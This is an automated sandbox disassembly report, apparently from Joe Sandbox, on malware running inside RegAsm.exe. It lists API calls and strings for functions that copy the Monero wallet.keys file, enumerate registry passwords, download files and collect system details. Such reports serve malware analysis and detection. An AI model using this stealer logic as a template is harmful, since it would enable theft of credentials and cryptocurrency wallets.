Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Openlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 2731306069-3278919252
Opcode ID: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,015003D8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001,00000000,?,01501A30,?,00000000,\Monero\wallet.keys,00420E17), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D
.keys, xrefs: 0040136B
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocHeapLocallstrlenmemset$CloseCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2296077492-218353709
Opcode ID: d6b5d7efd481827351956893bc592ba1194d30062d9e6317df5217b1426bfbc3
Instruction ID: 456b5fac361f61c5265e43a16bd15ab14158e39c7f71a6669150f14a30e0c61c
Opcode Fuzzy Hash: d6b5d7efd481827351956893bc592ba1194d30062d9e6317df5217b1426bfbc3
Instruction Fuzzy Hash: 565164B1D5011897CB15FB61DD91BED733CAF54304F4041ADB60A62092EE385BD9CBAA

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,01502750), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252
a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111
sA, xrefs: 004172AE, 00417179, 0041717C

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(2D84C020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(2D84C020,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(2D84C020, : ), ref: 0040765A
lstrcatA.KERNEL32(2D84C020,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(2D84C020,00421804), ref: 004076A0
lstrcatA.KERNEL32(2D84C020,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(2D84C020,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

C, xrefs: 0041754C
:, xrefs: 0041755C
\, xrefs: 00417560

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,01501ED8,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,014F4430), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,015012E8), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01501730,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01501730,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

%d MB, xrefs: 004181A3
@, xrefs: 0041814D

